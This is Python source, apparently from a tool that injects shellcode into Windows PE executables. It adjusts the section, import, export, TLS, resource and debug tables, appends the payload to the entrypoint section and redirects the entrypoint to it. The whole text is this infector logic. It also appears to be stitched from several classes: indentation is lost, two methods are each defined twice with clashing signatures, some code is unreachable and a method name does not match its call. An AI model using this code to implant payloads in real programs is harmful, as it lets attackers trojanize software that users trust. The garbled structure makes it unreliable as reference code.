def __adjust_base_relocation_table(self, header_offset):
offset_to_base_relocation_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_RELOCATION_TABLE_RVA
base_relocation_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_base_relocation_table_rva_within_header)
if base_relocation_table_rva == 0x0:
return
offset_to_base_relocation_table_size = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_RELOCATION_TABLE_SIZE
base_relocation_table_size = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_base_relocation_table_size)
base_relocation_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, base_relocation_table_rva)
current_base_relocation_table_raw = base_relocation_table_raw
while current_base_relocation_table_raw < base_relocation_table_raw + base_relocation_table_size:
rva_of_block = MultiByteHandler.get_dword_given_offset(self.binary_data, current_base_relocation_table_raw)
size_of_block = MultiByteHandler.get_dword_given_offset(self.binary_data, current_base_relocation_table_raw + 0x4)
if not Win32BinaryUtils.rva_is_after_entrypoint_and_requires_change(self.binary_data, header_offset, rva_of_block):
current_base_relocation_table_raw += size_of_block
continue
type_rva_offset = current_base_relocation_table_raw + 0x8 #Type RVA entries start two dwords after the beginning of the block
number_of_type_rva_entries = (int)((size_of_block - 0x8)/0x2)
for type_rva_index in range(0, number_of_type_rva_entries):
type_rva = MultiByteHandler.get_word_given_offset(self.binary_data, type_rva_offset)
if type_rva != 0x0:
MultiByteHandler.set_word_given_offset(self.binary_data, type_rva_offset, type_rva + self.rva_delta)
type_rva_offset += 0x2
MultiByteHandler.set_dword_given_offset(self.binary_data, current_base_relocation_table_raw, rva_of_block + self.rva_delta)
current_base_relocation_table_raw += size_of_block
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_base_relocation_table_rva_within_header, base_relocation_table_rva + self.rva_delta)
def __adjust_import_table(self, header_offset):
offset_to_import_table_rva = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_IMPORT_TABLE_RVA
import_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_import_table_rva)
if import_table_rva == 0x0 or self.rva_delta == 0:
return
import_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, import_table_rva)
current_import_directory_table_entry = import_table_raw
while(True):
if Win32BinaryUtils.has_consecutive_zero_dwords(self.binary_data, current_import_directory_table_entry, Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_WITHIN_EACH_DIRECTORY_TABLE_ENTRY):
break
offset_to_import_name_table_rva = current_import_directory_table_entry + Win32BinaryOffsetsAndSizes.OFFSET_TO_IMPORT_NAME_TABLE_RVA_WITHIN_IMPORT_DIRECTORY_TABLE
import_name_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_import_name_table_rva)
if import_name_table_rva != 0x0:
raw_offset_for_import_name_table = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, import_name_table_rva)
while True:
hint_name_rva_or_ordinal = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_for_import_name_table)
if hint_name_rva_or_ordinal == 0x0:
break
if (0x80000000 & hint_name_rva_or_ordinal) != 0x80000000:
MultiByteHandler.set_dword_given_offset(self.binary_data, raw_offset_for_import_name_table, hint_name_rva_or_ordinal + self.rva_delta)
raw_offset_for_import_name_table += 0x4 # Each hint/name/ordinal takes 4 bytes (dword)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_import_name_table_rva, import_name_table_rva + self.rva_delta)
offset_to_name_rva = current_import_directory_table_entry + Win32BinaryOffsetsAndSizes.OFFSET_TO_NAME_RVA_WITHIN_IMPORT_DIRECTORY_TABLE
name_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_name_rva)
if name_rva != 0x0:
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_name_rva, name_rva + self.rva_delta)
offset_to_import_address_table_rva = current_import_directory_table_entry + Win32BinaryOffsetsAndSizes.OFFSET_TO_IMPORT_ADDRESS_TABLE_RVA_WITHIN_IMPORT_DIRECTORY_TABLE
import_address_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_import_address_table_rva)
if import_address_table_rva != 0x0:
raw_offset_for_import_address_table = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, import_address_table_rva)
while True:
hint_name_rva_or_ordinal = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_for_import_address_table)
if hint_name_rva_or_ordinal == 0x0:
break
if (0x80000000 & hint_name_rva_or_ordinal) != 0x80000000:
MultiByteHandler.set_dword_given_offset(self.binary_data, raw_offset_for_import_address_table, hint_name_rva_or_ordinal + self.rva_delta)
raw_offset_for_import_address_table += 0x4 #Each hint/name/ordinal takes 4 bytes (dword)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_import_address_table_rva, import_address_table_rva + self.rva_delta)
current_import_directory_table_entry += Win32BinaryOffsetsAndSizes.NUMBER_OF_BYTES_PER_IMPORT_DIRECTORY_TABLE_ENTRY
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_import_table_rva, import_table_rva + self.rva_delta)
def __adjust_export_table(self, header_offset):
offset_to_export_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_EXPORT_TABLE_RVA
export_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_export_table_rva_within_header)
if export_table_rva == 0x0 or self.rva_delta == 0:
return
export_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, export_table_rva)
# Adjusting name RVA
offset_to_name_rva_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_NAME_RVA_WITHIN_EXPORT_DIRECTORY_TABLE
name_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_name_rva_within_export_directory_table)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_name_rva_within_export_directory_table, name_rva + self.rva_delta)
# Adjusting ordinal table rva
offset_to_ordinal_table_rva_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ORDINAL_TABLE_RVA_WITHIN_EXPORT_DIRECTORY_TABLE
ordinal_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_ordinal_table_rva_within_export_directory_table)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_ordinal_table_rva_within_export_directory_table, ordinal_table_rva + self.rva_delta)
# Adjusting function table RVAs
offset_to_address_table_rva_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_TABLE_RVA_WITHIN_EXPORT_DIRECTORY_TABLE
address_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_table_rva_within_export_directory_table)
offset_to_number_of_functions_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_FUNCTIONS_WITHIN_EXPORT_DIRECTORY_TABLE
number_of_functions = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_number_of_functions_within_export_directory_table)
function_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, address_table_rva)
for functions_index in range(0, number_of_functions):
function_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, function_table_raw)
MultiByteHandler.set_dword_given_offset(self.binary_data, function_table_raw, function_rva + self.rva_delta)
function_table_raw += 0x4
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_table_rva_within_export_directory_table, address_table_rva + self.rva_delta)
# Adjusting name table RVAs
offset_to_name_pointer_table_rva_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_NAME_POINTER_TABLE_RVA_WITHIN_EXPORT_DIRECTORY_TABLE
name_pointer_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_name_pointer_table_rva_within_export_directory_table)
offset_to_number_of_names_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_NAMES_WITHIN_EXPORT_DIRECTORY_TABLE
number_of_names = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_number_of_names_within_export_directory_table)
name_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, name_pointer_table_rva)
for names_index in range(0, number_of_names):
name_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, name_table_raw)
MultiByteHandler.set_dword_given_offset(self.binary_data, name_table_raw, name_rva + self.rva_delta)
name_table_raw += 0x4
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_name_pointer_table_rva_within_export_directory_table, name_pointer_table_rva + self.rva_delta)
def __adjust_load_config_table(self, header_offset):
offset_to_load_config_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_LOAD_CONFIG_TABLE_RVA
load_config_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_load_config_table_rva_within_header)
if load_config_table_rva == 0x0 or self.rva_delta == 0:
return
load_config_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, load_config_table_rva)
offset_to_lock_prefix_table_va_within_load_config_directory = load_config_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_LOCK_PREFIX_TABLE_VA_WITHIN_LOAD_CONFIG_DIRECTORY
lock_prefix_table_va = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_lock_prefix_table_va_within_load_config_directory)
if lock_prefix_table_va != 0x0:
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_lock_prefix_table_va_within_load_config_directory, lock_prefix_table_va + self.rva_delta)
offset_to_security_cookie_va_within_load_config_directory = load_config_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECURITY_COOKIE_VA_WITHIN_LOAD_CONFIG_DIRECTORY
security_cookie_va = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_security_cookie_va_within_load_config_directory)
if security_cookie_va != 0x0:
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_security_cookie_va_within_load_config_directory, security_cookie_va + self.rva_delta)
offset_to_se_handler_table_va_within_load_config_directory = load_config_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_SE_HANDLER_TABLE_VA_WITHIN_LOAD_CONFIG_DIRECTORY
se_handler_table_va = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_se_handler_table_va_within_load_config_directory)
if se_handler_table_va != 0x0:
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_se_handler_table_va_within_load_config_directory, se_handler_table_va + self.rva_delta)
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_load_config_table_rva_within_header, load_config_table_rva + self.rva_delta)
def __set_rva_delta(self, header_offset):
"""
:param header_offset:
:return: This class returns nothing. It is meant to check if it is possible to write the new header between the last header and the first section.
"""
#The header is smaller than this but this is adjusted and therefore padded to file alignment. The next section starts right after
current_size_of_headers = MultiByteHandler.get_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_HEADERS)
new_size_of_headers_unpadded = current_size_of_headers + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
padding_for_new_header = Win32BinaryUtils.compute_padding_size_for_file_alignment(
self.binary_data, header_offset, new_size_of_headers_unpadded)
self.header_padding = padding_for_new_header
new_size_of_headers = new_size_of_headers_unpadded + padding_for_new_header
#I have to check if the RAW size of the header crosses the RVA for the text section. For now, i can ignore. However i need to pad the header.
rva_for_first_section = MultiByteHandler.get_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS +
Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
if new_size_of_headers > rva_for_first_section:
print(
"Added section crossing RVA for first section. This mode will not work. Leaving..."
)
sys.exit(1)
'''
#virtual_rva_delta = Win32BinaryUtils.compute_padding_size_for_section_alignment(self.binary_data, header_offset, new_size_of_headers)
#self.rva_delta = new_size_of_headers + virtual_rva_delta - rva_for_first_section
'''
return
def __adjust_tls_table(self, header_offset):
offset_to_tls_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_TLS_TABLE_RVA
tls_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_tls_table_rva_within_header)
if tls_table_rva == 0x0 or self.rva_delta == 0:
return
tls_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, tls_table_rva)
offset_to_start_address_of_raw_data_within_tls_directory = tls_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_START_ADDRESS_OF_RAW_DATA_WITHIN_TLS_DIRECTORY
start_address_of_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_start_address_of_raw_data_within_tls_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_start_address_of_raw_data_within_tls_directory, start_address_of_raw_data + self.rva_delta)
offset_to_end_address_of_raw_data_within_tls_directory = tls_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_END_OF_ADDRESS_OF_RAW_DATA_WITHIN_TLS_DIRECTORY
end_address_of_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_end_address_of_raw_data_within_tls_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_end_address_of_raw_data_within_tls_directory, end_address_of_raw_data + self.rva_delta)
offset_to_address_of_index_within_tls_directory = tls_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_OF_INDEX_WITHIN_TLS_DIRECTORY
address_of_index = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_of_index_within_tls_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_of_index_within_tls_directory, address_of_index + self.rva_delta)
offset_to_address_of_callbacks_within_tls_directory = tls_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_OF_CALLBACKS_WITHIN_TLS_DIRECTORY
address_of_callbacks = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_of_callbacks_within_tls_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_of_callbacks_within_tls_directory, address_of_callbacks + self.rva_delta)
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_tls_table_rva_within_header, tls_table_rva + self.rva_delta)
def __adjust_resource_table(self, header_offset, raw_offset_for_directory_header):
resource_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_RESOURCE_TABLE_RVA)
original_raw_offset_for_resource_table = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, resource_table_rva)
raw_offset_for_current_directory = None
# Function being called for the first time
if raw_offset_for_directory_header != 0:
raw_offset_for_current_directory = raw_offset_for_directory_header
else:
raw_offset_for_current_directory = original_raw_offset_for_resource_table
raw_offset_for_current_directory_entry = raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_FIRST_DIRECTORY_ENTRY_WITHIN_RESOURCE_DIRECTORY_HEADER
number_of_named_entries = MultiByteHandler.get_word_given_offset(self.binary_data, raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_NAMED_ENTRIES_WITHIN_RESOURCE_DIRECTORY_HEADER)
number_of_id_entries = MultiByteHandler.get_word_given_offset(self.binary_data, raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_ID_ENTRIES_WITHIN_RESOURCE_DIRECTORY_HEADER)
for entry_index in range(0, number_of_named_entries + number_of_id_entries):
offset_to_directory_or_data_entry = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_for_current_directory_entry + 0x4)
# print("Offset to directory or data entry:" + hex(offset_to_directory_or_data_entry))
if offset_to_directory_or_data_entry & 0x80000000 == 0x80000000: # It is a directory so we call this function again
self.__adjust_resource_table(header_offset, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry & 0x7FFFFFFF)
else:
resource_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry)
MultiByteHandler.set_dword_given_offset(self.binary_data, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry, resource_rva + self.rva_delta)
raw_offset_for_current_directory_entry += 0x8
def modify_binary(self):
header_offset = MultiByteHandler.get_dword_given_offset(
self.binary_data,
Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
shell_code_generator_instance = self.shell_code_generator_class()
#Temporary solution. Type returns classobject
if str(self.binary_modifier_class).split(
'.')[-1] == "Win32SectionInjector":
shell_code = shell_code_generator_instance.get_base_shell_code(0x0)
print("Running Win32SectionInjector")
(rva_for_region, raw_offset_for_region
) = Win32BinaryUtils.get_executable_region_rva_and_raw_offset(
self.binary_data, header_offset, len(shell_code))
return self.binary_modifier_class(
self.binary_data, shell_code_generator_instance,
rva_for_region, raw_offset_for_region).modify_binary()
if None in (rva_for_region, raw_offset_for_region):
print("Memory search failed.")
return None
else:
print("Running {0}".format(
str(self.binary_modifier_class).split('.')[-1]))
return self.binary_modifier_class(
self.binary_data,
shell_code_generator_instance).modify_binary()
def modify_binary(self):
header_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
#We must get the offsets for the location where the shellcode will be inserted before inserting it and before changing the headers.
entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA)
raw_offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)[1]
entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
entrypoint_raw_section_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER)
entrypoint_raw_section_size = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER)
rva_for_shell_code = entrypoint_section_rva + entrypoint_raw_section_size
self.__file_align_shellcode(header_offset, raw_offset_of_header_of_section_containing_entrypoint, entrypoint_raw_section_size, entrypoint_rva - rva_for_shell_code)
self.__set_rva_delta_for_section_alignment(raw_offset_of_header_of_section_containing_entrypoint)
self.__adjust_data_directories(header_offset)
self.__adjust_section_headers(header_offset)
self.__adjust_standard_coff_fields(header_offset)
self.__append_data_at_offset(self.shell_code, entrypoint_raw_section_offset + entrypoint_raw_section_size)
self.__adjust_windows_specific_headers(header_offset)
# Redirect execution to shellcode
self.__overwrite_entrypoint_rva(header_offset, rva_for_shell_code + self.rva_delta)
self.__update_checksum(header_offset)
return self.binary_data
def __adjust_debug(self, header_offset):
offset_to_debug_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_DEBUG_RVA
debug_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_debug_rva_within_header)
if debug_rva == 0x0:
return
debug_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, debug_rva)
current_debug_raw = debug_raw
debug_size = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_DEBUG_SIZE)
number_of_entries = debug_size / (Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DEBUG_ENTRY*4)
for entry_index in range(0, number_of_entries):
if self.rva_delta != 0:
offset_to_address_of_raw_data_within_debug_directory = debug_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_OF_RAW_DATA_WITHIN_DEBUG_DIRECTORY
address_of_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_of_raw_data_within_debug_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_of_raw_data_within_debug_directory, address_of_raw_data + self.rva_delta)
offset_to_pointer_to_raw_data_within_debug_directory = debug_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_POINTER_TO_RAW_DATA_WITHIN_DEBUG_DIRECTORY
pointer_to_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_pointer_to_raw_data_within_debug_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_pointer_to_raw_data_within_debug_directory, pointer_to_raw_data + len(self.shell_code))
current_debug_raw += Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DEBUG_ENTRY*0x4
if self.rva_delta != 0:
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_debug_rva_within_header, debug_rva + self.rva_delta)
def __file_align_shell_code(self, header_offset, jump_displacement):
non_padded_shell_code = self.shell_code_generator.get_base_shell_code(
jump_displacement)
padding_size = Win32BinaryUtils.compute_padding_size_for_file_alignment(
self.binary_data, header_offset, len(non_padded_shell_code))
padded_shell_code = self.shell_code_generator.get_padded_shell_code(
padding_size)
self.shell_code = padded_shell_code
def __adjust_global_ptr(self, header_offset):
offset_to_global_ptr_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_GLOBAL_PTR_RVA
global_ptr_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_global_ptr_rva_within_header)
if global_ptr_rva == 0x0 or not Win32BinaryUtils.rva_is_after_entrypoint_and_requires_change(self.binary_data, header_offset, global_ptr_rva):
return
else:
raise NotImplementedError
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary, offset_to_global_ptr_rva_within_header, global_ptr_rva + self.rva_delta)
def __adjust_windows_specific_headers(self, header_offset):
#Adjust base of data: must check whether this RVA is greater that the RVA of the section containing the shell code (section containing entrypoint).
base_of_data_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_DATA_RVA
current_base_of_data = MultiByteHandler.get_dword_given_offset(self.binary_data, base_of_data_rva_offset_within_header)
entrypoint_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, entrypoint_rva_offset_within_header)
offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)[1]
entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
if current_base_of_data > entrypoint_section_rva:
MultiByteHandler.set_dword_given_offset(self.binary_data, base_of_data_rva_offset_within_header, current_base_of_data + self.rva_delta)
size_of_image_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_IMAGE
rva_and_virtual_size_of_last_section = Win32BinaryUtils.get_rva_and_virtual_size_for_last_section(self.binary_data, header_offset)
potentially_unaligned_size_of_image = rva_and_virtual_size_of_last_section[0] + rva_and_virtual_size_of_last_section[1]
#Size of Image must be aligned using SectionAlignment.
aligned_size_of_image = potentially_unaligned_size_of_image + Win32BinaryUtils.compute_padding_size_for_section_alignment(self.binary_data, header_offset, potentially_unaligned_size_of_image)
MultiByteHandler.set_dword_given_offset(self.binary_data, size_of_image_offset, aligned_size_of_image)
def __adjust_delay_import_descriptor(self, header_offset):
offset_to_delay_import_descriptor_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_DELAY_IMPORT_DESCRIPTOR_RVA
delay_import_descriptor_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_delay_import_descriptor_rva_within_header)
if delay_import_descriptor_rva == 0x0 or self.rva_delta == 0:
return
raw_offset_for_delay_import_descriptor = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, delay_import_descriptor_rva)
current_delay_import_offset = raw_offset_for_delay_import_descriptor
while (True):
if Win32BinaryUtils.has_consecutive_zero_dwords(self.binary_data, current_delay_import_offset, Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DELAY_IMPORT_ENTRY):
break
va_to_dll_name_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_DLL_NAME_OFFSET_WITHIN_DELAY_IMPORT_ENTRY)
MultiByteHandler.set_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_DLL_NAME_OFFSET_WITHIN_DELAY_IMPORT_ENTRY, va_to_dll_name_offset + self.rva_delta)
va_to_hmodule_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_HMODULE_OFFSET_WITHIN_DELAY_IMPORT_ENTRY)
MultiByteHandler.set_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_HMODULE_OFFSET_WITHIN_DELAY_IMPORT_ENTRY, va_to_hmodule_offset + self.rva_delta)
va_to_import_address_table = MultiByteHandler.get_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_IMPORT_ADDRESS_TABLE_WITHIN_DELAY_IMPORT_ENTRY)
MultiByteHandler.set_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_IMPORT_ADDRESS_TABLE_WITHIN_DELAY_IMPORT_ENTRY, va_to_import_address_table + self.rva_delta)
va_to_import_address_table = MultiByteHandler.get_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_IMPORT_ADDRESS_TABLE_WITHIN_DELAY_IMPORT_ENTRY)
MultiByteHandler.set_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_IMPORT_ADDRESS_TABLE_WITHIN_DELAY_IMPORT_ENTRY, va_to_import_address_table + self.rva_delta)
va_to_import_name_table = MultiByteHandler.get_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_IMPORT_NAME_TABLE_WITHIN_DELAY_IMPORT_ENTRY)
MultiByteHandler.set_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_IMPORT_NAME_TABLE_WITHIN_DELAY_IMPORT_ENTRY, va_to_import_name_table + self.rva_delta)
va_to_bound_iat = MultiByteHandler.get_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_BOUND_IAT_WITHIN_DELAY_IMPORT_ENTRY)
MultiByteHandler.set_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_BOUND_IAT_WITHIN_DELAY_IMPORT_ENTRY, va_to_bound_iat + self.rva_delta)
vat_to_unload_iat = MultiByteHandler.get_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_UNLOAD_IAT_WITHIN_DELAY_IMPORT_ENTRY)
MultiByteHandler.set_dword_given_offset(self.binary_data, current_delay_import_offset + Win32BinaryOffsetsAndSizes.VA_TO_UNLOAD_IAT_WITHIN_DELAY_IMPORT_ENTRY, vat_to_unload_iat + self.rva_delta)
current_delay_import_offset += Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DELAY_IMPORT_ENTRY * 0x4
if self.rva_delta != 0:
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_delay_import_descriptor_rva_within_header, delay_import_descriptor_rva + self.rva_delta)
def __adjust_windows_specific_headers(self, header_offset, new_section_rva,
new_section_virtual_size):
# SizeOfImage
size_of_image_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_IMAGE
potentially_unaligned_size_of_image = new_section_rva + new_section_virtual_size
aligned_size_of_image = potentially_unaligned_size_of_image + Win32BinaryUtils.compute_padding_size_for_section_alignment(
self.binary_data, header_offset,
potentially_unaligned_size_of_image)
MultiByteHandler.set_dword_given_offset(self.binary_data,
size_of_image_offset,
aligned_size_of_image)
# SifeOfHeaders
size_of_headers_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_HEADERS
current_size_of_headers = MultiByteHandler.get_dword_given_offset(
self.binary_data, size_of_headers_offset)
updated_size_of_headers = current_size_of_headers + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
padding = Win32BinaryUtils.compute_padding_size_for_file_alignment(
self.binary_data, header_offset, updated_size_of_headers)
MultiByteHandler.set_dword_given_offset(
self.binary_data, size_of_headers_offset,
updated_size_of_headers + padding)
def __adjust_standard_coff_fields(self, header_offset):
size_of_code_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_CODE
current_size_of_code = MultiByteHandler.get_dword_given_offset(self.binary_data, size_of_code_offset)
MultiByteHandler.set_dword_given_offset(self.binary_data, size_of_code_offset, current_size_of_code + len(self.shell_code))
